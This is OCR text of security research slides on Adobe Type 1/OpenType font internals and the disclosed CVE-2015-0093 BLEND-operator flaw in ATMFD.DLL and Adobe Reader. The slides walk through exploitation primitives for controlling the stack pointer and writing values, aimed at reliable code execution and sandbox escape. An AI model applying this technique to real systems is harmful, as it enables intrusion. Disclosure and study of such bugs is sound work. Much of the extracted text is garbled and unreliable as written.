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AType 1 and OpenType font primer
AAdobe Type Manager Font Driy@TMFD.DL).in Windows and shared codebases

ACVE20150093(a.k.a CVE2015-3052) ¢ one font vulnerability to rule them all

A Exploitation of Adobe Reader 11.0.10 + Windows 8.1 Update 1 x86
A Exploitation of Adobe Reader 11.0.10 + Windows 8.1 Update H6Agfat. C\V/E20150090)

AFinal thoughts



Type1l//[Opentype font iprimer



AdoberPostScript fonts

An 1984, Adobe introduced twoutlinefont formats based on th@ostScriptanguage
(itself created in 1982):
A Type 1 whichmay only use apecificsubset of PostScript specification.

A Type 3whichOFy 0l 1S I R@GIyGl3s 2F | ff

PostScript

A Originally proprietary formats, with technical specification

commercially licensed to partners.

Ahyteée LlJdzotAOfé R20dzYSYydaSR Ay al M

on an independent font formaflrueType

Adode Systems Incorporated



Type 1 primet generalsstructure

Figure 2b. Typical dictionary structure of a Type 1 font program

font dictionary

/FontInfo dictionary

/FontInfo dictionary

/Private dictionary

/version string /RD procedure
/FontName  name : -
/Encodin /Notice string /ND procedure
arra
: J - y /FullName string /NP procedure
/PaintType integer - -
; /FamilyName string /Subrs array
/FontType integer Velaht i OtherSub
/FontMatrix  array °9 STring EToUDIs anay
FontBBox aa /ItalicAngle number /UniquelD integer
UniauelD - t}’ /isFixedPitch boolean /BlueValues array
mnteger
/Me’?rics di f /UnderlinePosition ~ number /OtherBlues array
iction
/StrokeWidth numbefIy /UnderlineThickness number fFam?IyBIues array
. .y /FamilyOtherBlues array
/Private dictionary
/CharStrings _dicti /BlueScale number
lictionary . —r :
/CharStrings dictiona /BlueShift int
(/FID) fontID 9 i nreser
> A harstr /Bluefuzz integer
charstrin
: d /StdHW array
& charstring /StdvW array
' : /StemSnapH arra
/.notdef charstring /StemSnapV Y
P array
/ForceBold boolean

/LanguageGroup  integer

/password integer
/lenlV integer
/MinFeature array

/RndStemUp boolean

Adobe Type 1 Font Format, Adobe Systems Incorporated




Type 1Charstrings

lat## -|{ 36800 hsbw -15100 hstem 154 108 hstem 466 108 hstem 666 100
hstem 44585 vstem 155120 vstem 641 88 vstem 0100 vstem 275 353 rmoveto
54415957 vhcurveto 49030 -39 -7 -57 rrcurveto -6 -49 -26 -59 -620
rrcurveto  -49 -2743 48 hvcurveto closepath 312 212 rmoveto - 95 hlineto
-10 -52 rlineto -3042 -4219 -510 rrcurveto -124 -80 -116 -121 hvcurveto
-101 80 -8288 vhcurveto 60042 28 26 29 rrcurveto 334 callsubr 8 -31
26 -2528 -1 rrcurveto 48 -258 264863  rrcurveto 405222 /50 82 rrcurveto
094 -44 77 -6859 rrcurveto -6659 -812/7 -880 rrcurveto -213 -169 -168
-223 hvcurveto -225173 -165 215 vhcurveto 107092 31 70 36 rrcurveto
-82 65 rlineto -32 -20 -64 -12 -830 rrcurveto -171 -125108 182 hvcurveto
172111119168 vhcurveto 1530118 -84 -9 -166 rrcurveto -5 -86 -51 -81
-36 -4 rrcurveto  -29 -31243524  rrcurveto  closepath endchar }| -



Type 1Charstringexecutionccontext

A Instruction streamc the stream of encoded instructions used to fetch operators and execute them.

Not accessible by the Type 1 program itself.

A Operand staclc a LIFO structure holding up to 24 numeric-{89 entries. Similarly to PostScript, it is
used to store instruction operands.

A various instructions interpret stack items as-ti or 32bit numbers, depending on the operator.

A Transient arrayor BuildCharArray a fully accessible array of & numeric entries; can be pre
initialized by specifying ABuildCharArray-y array in the Private Dictionary, and the size can be
controlled via dlenBuildCharArray sy SY G NBE 2 F (@8 LIS Gy dzyo SNE @

The data structure is not officially documented anywhere that | know of, yet most interpreters

implement it.



Type 1Charstringperators

Officially, divided into six groups by function:

A Byte range @ 31:
Al 2YYlIFYR&a F2N adl NOUAYy DutlingfR FAYAAKAY3I | OKF NI OUSNQa
A Path constructionsommands,
A Hint commands,
A Arithmetic commands,

A Subroutine commands

A Byte range 32 255:

A Immediate values pushed to the operand stack; a special encoding used with morédaytedfrom the
instruction stream in order to represent the full 3it range.



Type 1Charstringperators

0, 2, 1520, 2329 missing?

Value Command Value Command

1 hstem 120 dotsection

3 vstem 12 1 vstem3

4 vmoveto 12 2 hstem3

5 rlineto 12 6 seac

6 hlineto 127 sbw

7 vlineto 12 12 div

8 rrcurveto 1216 callothersubr

9 closepath 12 17 pop

10 callsubr 12 33 setcurrentpoint
1 return Lots of IDs missing in between operators?
112 eSCaAPE [

13 hsbw

14 endchar

21 rmoveto

22 hmoveto

30 vhcurveto

31 hvcurveto



Type 1Charstringperators

AThe Type 1 format dynamically changed in the first years of its
presence, with various features added and removed as seen fit by

Adobe.

AEven though some features are now obsolete and not part of the

specification, they still remained in some implementations.



Type1-Eont kiles

ASeveral files required to load the font, efgr2 A Y R26a A0 Qa
.pfb +. pfm [+. mmm

Multiple master Typel font resource file. It must be used with .pfm and .pfb files.

mmm

Type 1 font bits file. It is used with a .pfm file,
pfb

Type 1 font metrics file. It is used with a .pfh file
pfm

AddFontResourdeinction, MSDN



Type 11"Multiple Master(MM) fonts

Aln 1991, Adobe released an extension to the Type 1 font format called
GadzZ GALIX S al 0SSN F2ydaso
ASYl 6f Sa aLISOATFeAy3d (62 2N Y2ZNB aYl &
0SUBSSY UKSY Fft2y3 | O2yGAydzzdza NI VY
A weight, width, optical size, style
Atechnically implemented by introducing several new DICT fields and

Charstringnstructions.



Type 11"Multiple Master(MM) fonts

Design axis Dynamic range

1N NNNN

Light to Black

«  [IANNNN

Condensed to Extended

e 1 T1 111 111D

6-point to 72-point designs, shown at the
same size for comparison

= 1N TNNINI

Wedge Serif to Slab Serif

source:http://blog.typekit.com/2014/07/30/the-adobeoriginalssilveranniversarystory-how-the-originalsenduredin-an-everchangingindustry/



Type 1" Multiple Master (MM) fonts

Alnitially supported imdobe Type Managditself released in 1990).

A first program to properly rasterize Type 1 fonts on screen.

ANot commonly adopted worldvide, partially due to the advent of
OpenType

223

@

Aonly 30 commercial and 8 free MM fonts released (mostly by
Adobe itself).

Avery sparse software support nowadays; however, at least 11¢r
Microsoft Windows (GDI) and Adobe Reader still support it. / ]]](LU])_EDJ



OpenTyp&CFERprimer

AReleased by Microsoft and Adobe in 1997 to supersede TrueType and
Type 1 fonts.

AMajor differences:
A only requires a single font file ((OTF) instead of two or more.

A previously textual data (such as DICTs) converted to compact, binary form to reduce
memory consumption.

A the Charstringspecification significantly extended, introducing new instructions and
deprecating some older ones.



Type 2Charstrindoperators

One-byte Type 2 Operators

Dec

0

W 00 ~N o0 v R W N =

Ay
~N o R W N = O

Hex

00
01

02
03
04
05
06
07
08
09
Oa
0Ob
0c

od
Oe
of

10
11

Operator

—Reserved-
hstem
—Reserved-
vstem
vmoveto
rlineto
hlineto
vlineto
rrcurveto
—Reserved-
callsubr
return
escape
—Reserved-
endchar
—Reserved-
—Reserved-

—Reserved-

Dec

18
19
20
21
22
23
24
25
26
27
282
29
30
31
32-246
247-2543
2554

Hex

12
13
14
15
16
17
18
19
1a
1b
1c
1d
1e
1f
20-f6
f7-fe
ff

Operator

hstemhm
hintmask
cntrmask
rmoveto
hmoveto
vstemhm
rcurveline
rlinecurve
vvcurveto
hhcurveto
shortint
callgsubr
vheurveto
hveurveto
<numbers>
<numbers>

<number>

Two-byte Type 2 Operators

Dec

120
121
122
123
124
125
126
127
128
129
1210
121
1212
1213
1214
1215
1216
1217
1218

1219

Hex

0c 00
0c 01
0c 02
0c 03
Oc 04
0c 05
0c 06
0c 07
Oc 08
0c 09
Oc Oa
0c Ob
0c Oc
Oc 0d
Oc Oe
0c of
0c 10
Oc 11
Oc 12

0c 13

Operator

—Reserved-1
—Reserved-
—Reserved-
and

or

not
—Reserved-
—Reserved-
—Reserved-
abs

add

sub

div
—Reserved-
neg

eq
—Reserved-
-Reserved-
drop

—Reserved-

Dec

12 20
12 21
12 22
1223
12 24
1225
12 26
12 27
1228
1229
1230
12 31
1232
1233
12 34
1235
12 36
1237

12 38-
12 255

Hex

Oc 14
0c 15
0c 16
0c 17
0c 18
0c 19
Oc 1a
Oc 1b
Oc 1c
0c 1d
Oc 1e
Oc 1f
Oc 20
Oc 21
Oc 22
0Oc 23
Oc 24
Oc 25

Oc 26-
Oc ff

Operator
put

get

ifelse
random
mul
-Reserved-
sqrt

dup

exch

index

roll
-Reserved-
-Reserved-
—Reserved-
hflex

flex

hflex1

flex1

-Reserved-



Type 2CharstrindOperators

AChanges in th€harstringspecs:

A with globalandlocalsubroutines irDpenTypea newcallgsubrinstruction added,

A multiple new hintingrelated instructions introducechétemhm hintmask cntrmask
X0 Z

A new arithmetic and logic instructionar{d, or, not, abs add, sub negc X 0 X

A new instructions managing the staakuf, exch index, roll),

A new miscellaneous instructionsafidom),

A new instructions operating on the transient arraget, put),

A dropped support folOtherSubrgremovedcallothersuby.



OpenTypfCFF limits specified

A good starting point for vulnerability hunting:

The following are the implementation limits of the Type 2 char-

string interpreter:

Description Limit
Argument stack 48
Number of stem hints (H/V total) 96
Subr nesting, stack limit 10
Charstring length 65535
maximum (g)subrs count 65536
TransientArray elements 32




Adobe Type/Manager



O ATM

Adobe Type Manager'4.6 """

eeeeeeee

448K C ize racter shapes
Smooth Font Edges on Screen
Mon [ Dissble Smoothing at Screen Font Point Sizes
E Precision Character Positioning
-
to the marked items will take effect only at restart
|

APorted to Windows (3.0, 3.1, 95, 98, Me) by patching into the OS at a very
low level in order to providaeative support for Type 1 fonts.

AWindows NT made impossiblg?) to continue this practice.

A Microsoft originally reacted by allowing Type 1 fonts to be converted to TrueType

during system installation.
An Windows NT 4.0, ATM was added to the Windows kernel as agitg font

driver, becominATMFD.DLL
At is there until today, still providing support for PostScript fonts on modern

Windows.



Nowadayx shared.codebases
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AVarious software onlpasedon the same codebase.

ALiving in different branches and maintained by different groups of

people.

AReceived a varied degree of attention from the security community.

P e Vd Pl 4

A2y Qi KIS (2 0S | FFSOGSR o0& (K!:
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AVarious software onlpasedon the same codebase.

ALiving in different branches and maintained by different groups of

people.

AReceived a varied degree of attention from the security community.

P e Vd Pl 4

A2y Qi KIS (2 0S | FFSOGSR o0& (K!:

Bindiffing anyone?



<& 6 Qaully Yobiyfrdzkn 4@ sthtelnfadhine

iImplemented infAdobe,bype ManagernFontDriver.



Reverse engineenIIMEDIDLL



ATMED.DLLbasic recon

ﬂ Please confirm . I,ig-,l

.' ) '. atrnfd.dll: failed to load pdb info.
' Failed to open the file, or the file has an invalid format (E_PDE_MOT_FOUND)

Do you want to browse for the pdb file on disk?

Don't display this message again

AAs opposed to Microsofiuthored system componentdebug symbols for

ATMFD.DLIlare not available from the Microsoft symbol server.
AWe have tostickwith just sub  XXXXXL

APerhaps one of the reasons why it was less thoroughly audited as compared to
the TTF font handling win32k.sys ?



Shared code,/sharedrsymbols?

However, since we know th&lirectWrite (DWhrite:dli 1 1) and WPF
(PresentationGFFRasterizerNative+ v0300dll ) share the same
code, perhaps we could use some simplediffingto resolve some

symbols?



CHKSNBQawalk Y20 KSNI g &

AAsHalvarFlake noticed, Adobe released Reader 4 for AIX and Reader
5 for Windows long time ageith symbols
Athis includes the font engin€oolType.dil
AGKS O2RS Kla y2i FdzyRIFIYSyYyulfttfteée OKIY
with minor patches.

Ait is possible to crosgiff them with modernCoolType ATMFD or other

modules to match some symbols, easing the reverse engineering process.



Functions window

-~
Function name

E UFLSupport:ClearlncrGlyphListivoid)

El UFL5upport:ClearlnerGlyphListivoid)

E UFLEnlargePtr

E TypeMatchi_s_HandlerType const *,_s_Catchabl..,
El Typel Program::StoreSubroutine(long,uchar * lo...
E Typel Program::StoreMextCharstringichar const...
E Typel Program::GetProgramBase(void)

El Typel Pregram:: GetMMHandler{veoid)

E Typel Program::GetDataRef(void)

E TypelPregram::Allecsubroutines(long)

z Typel Pregram::AllocCharStringsileng)

4 | 1l |

Line 5610 of 6589




ATMED.DLLbasic recon

AOn the bright side, the library is full of debug messages that we can
use to find our way In the assembly.

Avariable names, function names, unmet conditions and source file paths!

AFurthermore, there are multiple Type 1 font string literals, too.



|:{ | | | e 1 1 | e |

ATMED.DLLbasic recon

Debug messages: Type 1 string literals:

rdata:0004B774 00000029
rdata:0004B7A0  0000001LA
ordata:0004B7BC 0000003C
ordata:0004B7FE 00000043
sdata:0004B83C 00000018
ordata:0004B854 00000029

w

pFontData-=versionMum == FontDescVersion

p-=>edgeFlags & edgeBottom
d:'Vvwin?spl_gdriwindowsVcore\intgdivifondrdhotfdV b\ interp.c
p-=>edgeFlags & edgeBottom || p == &edgelist-» edges[SENTINEL_POINT]
Edgelist would overflow

scale = 0 &8 scale <= MAX_OPTIMIZED _AorD

ordata:0004B41C 00000012
ordata:0004B430 00000012
ordata:0004B444  0000000F
rdata:0004B454 00000009
rdata:0004B8460  0000000E
ordata:0004B470 00000004

lenBuildCharirray
initialRandom5eed

wn

wm

gsubMumberBias
UnigquelD
SubrMapOffset
SubrCount

rdata:0004B5EC 00000022 C Malloc failed in OutlineGetMemory ‘s’ .rdata:0004B374 00000015 C BlendDesignPositions
rdata:0004B610 00000034 C diwindspl _gditwindows\hcore\ntgdifondrdhotfd b\ bepath.c E rdata:0004B38C  0000000F C BlendDesigniap
rdata:l004B64C 00000017 C MULL Path list pointer ‘s’ .rdata:0004B39C 0000000F C BlendAxisTypes
rdata:0004B664 00000018 C pPathList-=next |= NULL ‘=’ .rdata:0004B3AC 0000000F C AccentEncoding
rdata:0004B67C  0000002E C d:'Vvwin?spl_gdriwindowsVicore\intgdivifondradhotfdV b\ \besetup.c ‘" .rdata:0004B3BC 00000013 C UnderlineThickness
rdata:0004B6BE 00000005 C n==0 ‘s’ .rdata:0004B300 00000012 C UnderlinePosition
rdata:0004B6C0 00000014 C numBlueValues <= MAXBLUES ‘s’ .rdata:0004B3E4  0000000C C ltalicAngle
sdata:0004B60C 00000016 C nurmFamilyBlues <= MAXBLUES ‘s’ .rdata:0004B3F0 00000003 C FontBBox
rdata:0004B6FE 00000039 C pFontData-= numMasters == 0 || pFontData-» numMasters == 1 ‘=" .rdata:0004B3FC 00000015 C subroutineMumberBias
ordata:0004B734  0000003F C inappropriate versionMurm in FontDesc passed to BCSetUpValues() ‘s’ .rdata:0004B414 00000006 C lenlV

C C

C C

C C

C C

C C

C C

un
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Alt is relatively easy to locate the Charstring processing routide MFD.DLL

AFor one, it contains references to a lot Charstiiagted debug strings:

text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:

BBB3ECCY
BAB3ECCY
BAB3ECCY
A0B3ECCY
BBB3ECCE
A8B3ECD3
A8B3ECDSB
B@B3ECDSB
B8B3ECDSB
A0B3ECDSB
A0A3ECDD
B0B3ECE2
BBB3ECEY
BBB3ECEC
BBB3ECEC
BB03ECEC
BBB3ECEC
BAA3ECFA1
BBB3ECFA
B0B3ECFB

A8a3Epaa ;

loc_3ECCL:

; CODE XREF: sub_ 3A1FC+13a7Tj
; sub_3p1FCc+13BaTj
offset aFalse » “"fFalse™
offset alperandi5tackUn ; "operand stack underflow”
164AN
loc_3EBS8A

; CODE XREF: sub_3A1FC+1434Tj
offset aFalse ; "fFalse™
offset afrgumentCoun_@ ; “argument count ervor at otherMEWCOLORS™
1683h
loc_3F1AZ2

; CODE XREF: sub_3A1FC+1441Tj
offset aFalse ; "fFalse™
offset aPsstackOverflo ; “psstack overflow at otherHMEWCOLORSE™
1686h
loc_3F1AZ2



2/KSNBOQa 21 f R2K

Alncidentally, the function is also by far the largest one in the whole

DLL (ZOkB) . Functions window @
Function name Segment Start Length} Locals Argurnents R F (L |5 B [T (= gt
(7] sub_203BE text 000203BE 000004D3 00000074 00000008 R B
7] sub_335EE text 000325EE 000004E4 00000050 00000014 R B
[F] sub_1BSBA text 0001B5BA 00000500 00000060 00000004 R B
[F] sub_35F25 text 00035F25 00000516 00000130 00000020 R B
|7 sub_3510F text 0003510E 00000556 00000074 0000000C R B
(7] sub_42AE2 text 00042AE2 00000564 00000034 00000010 R B
(7] sub_131A0 text 00013140 00000576 00000140 00000000 R B
(7] sub_4466D text 00044660 00000608 00000030 00000024 R B
(7] sub_21BB6 text 00021BB6 00000627 000000C8 00000010 R B
(7] sub_3732D text 00037320 00000628 00000010 00000014 R B
[F] sub_32DE9 text 00032DE9 00000692 00000038 0000001C R B
[F] sub_16B9E text 00016B9E 0000062 0000006C 00000030 R B
7] sub_38517 text 00038517 000006DE 00000040 00000018 R B
(7] sub_26EED text 00026EED 00000SES 00000258 00000010 R B
(7] sub_15E24 text 00015E24 00000BES 00000274 00000000 R B
7] sub_2BDD2 text 0002BDD2 00000E39 00000038 00000000 R B
(7] sub_1DEAS text 0001DEAS 00000F5C 00000080 00000009 R B
(7] sub_301D9 text 00030109 00000F67 0000000C 00000000 R :

7] sub 1772E text 0001772E 000010EE 00000104 00000008 R B
[ 7| sub_3ALFC text 0003ALFC 000051CF 000006FC 0000001C - R
“Line 764 of 802







Theiinterpreter function

ABy looking aDirectWriteand WPF, we can see that its caller is

namedTypellnterpret€harString

Aln the symbolize€oolTypethe interpreter itselis named

DoTypelinterpretCharString

Alt is essentially a giastvitch-casestatement, handling the

different instructions inline.



Theiinterpreter function

BYTEop = *charstring ++;
switch (op) {
case HSTEM

case VSTEM

case VMOVETO



Postscript-operand: stack on-the: actual stack

VOID *op_sp; @EDI

Saved EBP
Return address

Higher addresses

#Al 1l AOOR OOAAE &EOAI AO




Why sol large?

AThe same interpreter is used for both Type 1 and Tyg@p@(Typ&Charstrings

A Type 1 fonts have access to@JpenTypenstructions, and vice versa! :0

AThe interpreter irATMFD.DLIstill implements

every smgleffeature

that was EVER part of the Type QpenTypespecs.

AEven the most obsolete / deprecated / forgotten ones.






ATMFEDCharstrinqudit results

Microsoft Windows

AdobeReader

DirectWrite

Windows
Presentation

UnlimitedCharstringexecution
Qut-of-bounds reads from the Charstring streal

Off-by-x out-of-bounds reads/writes relative to
the operand stack

Memory disclosure via uninitialized transient
array

(ATMFD)

CVE20150074
CVE20150087

CVE20150088

CVE20150089

CVE20150090
CVE20150091

CVE20150092

CVE20150093

(CoolTypé

CVE20153095

CVE20153049

CVE20153050

CVE20153051

CVE20153052

CVE20151670

Foundation

CVE20151670



CVE20150093: unlimited outof-bounds
stackrmanipulationivia BLLEND: operator

Impact: Elevationof Privileges / Remote Code Execution
Architecture: x86
Reproduciblewith: Typel

google-security-researchentries: 180,258



CVE20150093: the BLEND operator

ARelated to the forgottenMultiple Masterfonts.
ALY GNRRdAzOSR AY oaCKS ¢@8LIJS H [/ KIF NBRJGNR

ARemoved from the specs on 16 March 2000:

Changes in the 16 March 2000 document

e The information on the blend operator, and all references to
multiple master fonts, were removed.

AObviously still supported in a number of engings.



CVE20150093: the BLEND operator

blend num(1,1)...num(1,n) num(2,1)...num(k,n) n blend (16)
val1...valn

for kK master designs, produces n interpolated result
value(s) from n*k arguments.

APopsk*n arguments from the stack, where:

Ak = number of master designs (length of theeightVector r table).

An = controlled signed 16it value loaded from the operand stack.

APushes bach values to the stack.



CVE20150093: bounds checking

The interpreter had a good intention to verify that the specified

number of arguments is present on the stack:

case BLEND
if ( op sp < &op stk |[1] || op_sp > &op_stk end ) // bail out.

if ( master_designs == 0 && &op_sp[n|] >= &op_stk_ end ) // bail out.
if ( &p_stk[n * master _designs | > op _sp ) // bail out.

op_sp = DoBlend(op _sp, font ->weight vector , font - >master _designs , n);



CVE20150093: bounds checking

1. Is the stack pointer within the bounds of the stack buffer?

op_sp >= op_stk && op _sp <= &op_stk end

2. Isthere at least one item (n) on the stack?

op_sp >= &op_sp| 1]

3. Are there enough items (parameters) on the stack?

&op_stk [ n * master_designs | <= op_sp

3. Isthere enough space left on the stack to push the output parameters?

master_designs = 0 || &op_sp[n] < &op_ stk end



CVE20150093: debugimessages

AtmfdDbgPrint (" windows\ \ core \ \ ntgdi \\ fondrv \\ otfd \\ bc\\ tlinterp.c
6552,
"stack underflow incmdBLEND ", "false ");

AtmfdDbgPrint (" windows\ \ core \ \ ntgdi \\ fondrv \\ otfd \\ bc\\ tlinterp.c
6558,
" stack overflow incmdBLEND ", "false ");

AtmfdDbgPrint (" windows\ \ core \ \ ntgdi \\ fondrv \\ otfd \\ bc\\ tlinterp.c
6561, "DoBlend would underflow operand stack ",
"op_stk +inst ->lenWeightVector*nArgs <= op_sp ");



CVE2015-0093: theDoBlend function

ATurns out, a negative value opasses all the checks!

AReaches th®oBlend function, which:
Aloads the input parameters from the stack,
Aperforms the blending operation,

Apushes the resulting values back.



CVE2015-0093: theDoBlend function

From a technical point of view, what happens is essentially:
op.sSp -= n * (master designs - 1) * 4

which is the result of poppingn values, and pushing n values back.



CVE20150093

AFor a negative, no actual popping/pushing takes place.

AHowever, the stack pointepp_sp) is still adjusted accordingly.

AWith controlled 16bit n, we can arbitrarily increase the stack pointer, well
beyond theop stkf] | array.

A It is a security boundarythe stack pointer should ALWAYS point inside the one local

array.



CVE20150093Y e’ @ SIQNBy! lj dzA U S

A At the beginning of the main interpreter loop, the function checksifsp is
smallerthanop_stk<[] 1

if (op_sp < op_stk) {
AtmfdDbgPrint (" windows\ \ core \ \ ntgdi \\fondrv \\otfd \\ bc\\ tlinterp.c
4475, "underflow of Type 1 operand stack
"op_sp >= op_stk");
abort () ;
}

Alt does not check ifp_sp is greater than the end afp_stk<[] 1, making it possible

to execute further instructions with the inconsistent interpreter state.



CVE20150093: stackopointer control

A With [WeightVector|=16 , we can increasep_sp by as much as
32768 * 15 * 4 = 1966080 (Ox1EO0000)
A well beyond the stack areawe could target other memory areas such as pools, executable

Images etc.

A With |WeightVector|=2 , the stack pointer is shifted by exactlg*4 (n DWORDS),

providing a great granularity for owtf-oounds memory access.

A by using a twecommand- x blend ¢ sequence, we can sep_sp to any offset relative to the

op_stk[] array.



For @example...



CVE20150093

DoTypelinterpretCharString i ng stack frame (operand stack) Charstring Program
- 349
blend
VOID *op_sp; @EDI -
endchar

349 DWORDNDlistance

Higher addresses

Saved EBP

Return address

#Al 1l AOOR OOAAE EOAI AO




CVE20150093

DoTypelinterpret€harString i n g stack frame (operand stack) Charstring Program
‘ - 349
" _ blend
VOID *op_sp; @EDI exch
endchar
D - 349
)
(7))
(]
-B _
©
@
o
e
-% Saved EBP
Return address
#Al 1l AOOR OOAAE E£EOAI AO




CVE20150093

DoTypelinterpretCharString in g stack frame (operand stack)

VOID *op_sp; @EDI

Saved EBP

Higher addresses

Return address

<

#Al 1l AOOR OOAAE EOAI AO

Charstring Program

- 349

blend

=)

exch

endchar




CVE20150093

DoTypelinterpretCharString in g stack frame (operand stack)

Higher addresses

VOID *op_sp; @EDI

#Al 1l AOOR OOAAE EOAI AO

Charstring Program

- 349

blend

exch

-)

endchar




CVE20150093

DoTy, nterpretChe Q9 1ine g ame (operand stack) Charstring Program
\/ \/ — “349
blend
exch

‘ endchar




CVE20150093: bugcheck

ATTEMPTED EXECUTE_OF NOEXECUTE_MfEMORY (

An attempt was made to execute non - executable memory. The guilty driver
IS on the stack trace (and is typically the current instruction pointer).

When possible, the guilty driver's name (Unicode string) is printed on

the bugcheck screen and saved in KiBugCheckDriver .

Arguments:

Argl: 97ebf6a4, Virtual address for the attempted execute.

Arg2: 11dd2963, PTE contents.

Arg3: 97ebf56c¢, (reserved)

Arg4: 00000002, (reserved)



CVE20150093: impact

A We can use the supportearjthmetic, storage etc.) operators over the owtf-bounds
op_sp pointer.
A Possible to add, subtract, move data around on stack, insert constants etc.

A Pretty much all the primitives requires to build a full ROP chain.

A The bug enables the creation a 100% reliable Charstrihgexploit subverting all
modern exploit mitigations (stack cookies, DEP, ASLR, SMEP, ...) to execute code.
A Both Adobe Reader and the Windows Kernel were affected.

A Possible to create a chain of exploits for full system compromise (RCE + sandbox escape) using jus

this single vulnerability.



CVE20150093: 64bit

AOn 64bit platforms, then *'mastere designs:n < expression is cast tonsigned int

In one of the bounds checkinfgstatements

if  ((uinted )(&op stk + 4 * (uint32 )( n * master _designs )) > op_sp)

AConsequently, the whole check fails for negatiyeliminating the vulnerability
from the code.

A Not to worry, there are no 64it builds of Adobe Reader.

A In the x64 Windows kernel, there are other font vulnerabilities to exploit for a sandbox

escapel



Let theffun-begin!



The overallb goal

APrepare a PDF file which pops catc.exaipon opening in Adobe Reader
11.0.10on Windows 8.1 Update 1, both 3#it and 64bit.

A 100% reliable against the targeted software build.
A High integrity level and/oNTAUTHORITY/SYSTE¥écurity context.

A Subverting all available exploit mitigations in both user and kernel land.

ASince there are no x64 builds of Adobe Reader, a single exploit for RCE will
do.

A Two distinct exploits required for the 3#t and 64bit kernels, though.



AdobeReaderl 1.0.10-exploit



Disallowedharstringnstructions

AWhile we can set thep sp pointer well outside the localp_stk<[] | array,

not all operators will work then.

ASpecifically, all operators moving the stack poirfiteward (pushing more
RIFGF OGKIFIyYy €2FRAY3I0 OKSOl AT AdQa
A makes it impossible to write constants und®y sp in a normal way via numeric
operators.

A some other instructions such &JPPOPCALLGSUBRANDOIIre forbidden, too.



Disallowedtharstringnstructions- example

case RANDOM
if (op_sp >= &op_stk end ) {
AtmfdDbgPrint (" windows\ \ core \ \ ntgdi \\ fondrv \\ otfd \\ bc\\ tlinterp.c
6015, "stack overflow - otherRANDOM, "false ");

goto label error



AllowedCharstringnstructions

AHowever, commands which write to the stack but do not increase the
stack pointer omit the checks.
AA 0 Qa | @I fJsiRce @atBimodifisatidn @i Sys (in theory)
properly sanitized, the interpreter can assume at any point in time that the

pointer is valid.

Athe lack of this safety net makes the vulnerability exploitable.



AllowedCharstringnstructions

ANOT (Bitwise negation) ADIV (Division)

A NEG (Negation) A ADD (Addition)

A ABS (Absolute value) A SUB (Subtraction)

A SQRT(Square root) A MUL (Multiplication)

AINDEX (Get value from stack) A GET (Get value from transient array)

A EXCH(Exchange values on stack)



Writing data-anywhereron the:stack

AWriting data directly is impossible due to the reasons mentioned above.

AWe couldtry to use thelNDEXinstruction: it replaces the top stack item
with the onex items below the top.

AK2 6 SOSNE 6S R2y QG O2y(iNBf GKS AGE¢ 0
AThe arithmetic and logic instruction&@DSWB MUI.DIV, ABS NEGetc.)

Ff&482 NBIdzZANBE a42YSGKI G O2yUNREff SR 2

have.

Als it hopeless? End of talk?



What about the "GET instruction?

AUsageittx GETA

Areplaces the indeidx with the transient array value at that index.

ASince the index is only 16 bits, maybe we could specifyrémsient
array to be65535 entries long (vidlenBuildCharArray ay), and insert

the desired value Iinto all cells?



Some problems

1. It would be really expensive; over 65 thousands of instructions for a

single value insertion sounds like a lot of overhead.

2. The index Is gaignedl16-bit value, and negative arguments are

rejected by theGETcommand.

Athe ABSinstruction would probably fix this, though.



SQRTforthe-rescue!

AWe cancontrol the value under an odf-boundsop_sp pointer to some degree.

ATheSQRDperator replaces the top 1bit value with its square root.
ALY FIFOG I mMcomMc CAESR @I fdzST o6dzi GKI GQ
A After 5 subsequent invocations of the instruction, the toplitstack value will
always be equal to:

A0 ¢ if the value was originally zero.

A1 ¢ if the value was originally nezero.

AThe value can be then used as a deterministic parameter oBf&&nstruction.



Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream

N

)

dup

? 0

put

A 1

put

- 100

blend

Transient array sgrt

sqrt

0x11223344

N

sgrt

0x55667788

N

sgrt

0Ox99aabbcc

)

sgrt

get

#Al 1l AOOR OOAAE £&O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream
d 31337 31337
? dup
? 0
put
A 1
put
-100
blend
Transient array sqrt
0x11223344 5 :gﬁ
0x55667788 2 sqrt
0x99aabbcc ? sqrt
P < foa e ko . get
#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream
pa 31337 31337
“ 31337 dup
? 0
put
A 1
put
-100
blend
Transient array sqrt
0x11223344 ? iﬂﬁ
0x55667788 2 sqrt
0x99aabbcc ? sqrt
P - foa e ko . get
#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream
e 31337 31337
a 31337 dup
— 0 0
> o
, A .
put
-100
blend
Transient array sqrt
0x11223344 5 :gﬁ
0x55667788 2 sqrt
0x99aabbcc ? sqrt
P < foa e ko . get
#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream
~| 31337 31337
= 31337 dup
0 0
put
A 1
put
-100
blend
Transient array sqrt
0x11223344 31337 :g::
0x55667788 2 sqrt
0x99aabbcc ? sqrt
P < foa e ko . get
#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream
31337 31337
‘ 1 dup
0 0
put
A 1
put
-100
blend
Transient array sqrt
0x11223344 31337 :g::
0x55667788 2 sqrt
0x99aabbcc ? sqrt
P < foa e ko . get
#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream

31337 31337

1 dup
0 0

put
A 1

> ot

-100

blend

Transient array sqrt
0x11223344 31337 :gﬁ
0x55667788 31337 sqrt
0x99aabbcc ? sqrt
. f oA Lo . get

#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream
-100 31337
1 dup
0 0
put
A 1
put
‘ -100
blend
Transient array sqrt
0x11223344 31337 :gﬁ
0x55667788 31337 sqrt
0x99aabbcc ? sqrt
. f oA Lo . get
#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream

31337 31337

1 dup
0 0

put
A 1

put

-100

blend

Transient array sqrt
0x11223344 31337 :gﬁ
0x55667788 31337 sqrt
0x99aabbcc ? sqrt
. f oA Lo . get

#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream

31337 31337

1 dup
0 0

put
A 1

put

-100

blend

Transient array sqrt
0x00423a78 31337 :gﬁ
0x55667788 31337 sqrt
0x99aabbcc ? sqrt
. f oA Lo . get

